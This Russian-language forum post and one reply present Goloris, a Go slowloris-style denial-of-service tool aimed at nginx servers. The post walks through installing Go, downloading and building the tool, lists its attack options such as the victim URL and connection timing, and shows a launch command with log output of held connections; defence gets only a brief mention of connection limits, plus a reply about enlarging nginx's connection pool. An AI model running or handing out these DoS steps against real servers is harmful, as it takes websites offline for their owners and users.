Что нового

Article Goloris - Slowloris Nginx DoS

sshNkt 0

sshNkt

Команда форума
11.11.2019
46
129

Приветствую всех гостей и участников форума Protey!

В этой публикации хочу познакомить вас с такой утилитой для DoS атаки как Goloris.

Снимок экрана 2020-07-15 в 12.42.00.png


На всякий случай, DoS — хакерская атака на вычислительную систему с целью довести её до отказа.
Goloris - утилита написанная на Golang для осуществления DoS атаки. Она пытается занять все доступные TCP соединения тем самым нарушив его работу.Если все пройдет удачно, то в конечном итоге никакой другой клиент не сможет подключиться к серверу. Она поддерживает https а так же требует не большое количество ресурсов памяти и процессора исходя из документации.Кому интересно так же может ознакомиться подробнее с кодом утилиты, благодаря понятному и лаконичному синтаксису Go.


Установка и использование
Если в вашей ОС отсутствует Golang, вам нужно его добавить.

Перейдите на страницу: https://golang.org/dl.

Загрузите последнюю версию в моем случае для Linux.

Снимок экрана 2020-07-15 в 13.00.54.png

Откройте терминал и перейдите в папку загрузок:

cd /root/Downloads

Распакуйте файлы:

tar -C /usr/local/ -xzf go1.13.6.linux-amd64.tar.gz

Добавьте переменные для GO, изменив «~ / .bashrc»:

nano ~/.bashrc

Добавьте следующие пути в конец файла:

export GOPATH=/root/go-workspace
export GOROOT=/usr/local/go
PATH=$PATH:$GOROOT/bin/:$GOPATH/bin


Теперь нам нужно обновить bashrc, чтобы получить обновленные переменные

source ~/.bashrc

Нужно убедиться, что все настроено правильно, и мы можем сделать это, создав простую программу «Hello World» на Go.
nano helloworld.go

Добавьте следующий код в файл:

Код:
package main
import "fmt"
func main() {
fmt.Printf("Hello world!\n")
}
Затем сохраните файл и попробуйте запустить программу:

go run helloworld.go
Если все настроено правильно, вы должны увидеть сообщение Hello World.

hackerman1.png

Выполните следующие команды:

Скачиваем - go get -u -a github.com/valyala/goloris
Билдим - go build github.com/valyala/goloris

Параметры ./goloris -h :
Код:
  -contentLength int
        The maximum length of fake POST body in bytes. Adjust to nginx's client_max_body_size (default 1000000)
  -dialWorkersCount int
        The number of workers simultaneously busy with opening new TCP connections (default 10)
  -goMaxProcs int
        The maximum number of CPUs to use. Don't touch :) (default 4)
  -hostHeader string
        Host header value in case it is different than the hostname in victimUrl
  -rampUpInterval duration
        Interval between new connections' acquisitions for a single dial worker (see dialWorkersCount) (default 1s)
  -sleepInterval duration
        Sleep interval between subsequent packets sending. Adjust to nginx's client_body_timeout (default 10s)
  -testDuration duration
        Test duration (default 1h0m0s)
  -victimUrl string
        Victim's url. Http POST must be allowed in nginx config for this url (default "http://127.0.0.1/")
Если вы хотите оставить все параметры по умолчанию и запустить утилиту, вам достаточно будет прописать команду:

./goloris -victimUrl https://example.com

Пример работы утилиты с стандартными параметрами:
Код:
contentLength=1000000
dialWorkersCount=10
goMaxProcs=4
hostHeader=
rampUpInterval=1s
sleepInterval=10s
testDuration=1h0m0s
victimUrl=https://example.com
2020/07/15 13:24:22 Holding 1 connections
2020/07/15 13:24:22 Holding 2 connections
2020/07/15 13:24:23 Holding 3 connections
2020/07/15 13:24:23 Holding 4 connections
Один из вариантов защиты: Ограничить количество одновременных соединений TCP от одного и того же IP. Например, connlimit в iptables или http://nginx.org/en/docs/http/ngx_http_limit_conn_module.html.

С удовольствием выслушаю ваши варианты.

Так же интересно какие утилиты чаще приходилось использовать вам?

И помните что в первую очередь данная статья написана в ознакомительных целях.​
 
Последнее редактирование модератором:
Klimer 0

Klimer

Команда форума
28.11.2019
24
35
Кстати один из методов защиты nginx от атак slowloris это увеличить пул возможных конектов до например 10000000.
Поскольку nginx событийный и не держит для каждого конекта отдельный поток данный метод решает проблему с закончившимися слотами.
Apache2 увы не спасти никак кроме firewall-ом на сколько мне известно.
 
Верх Низ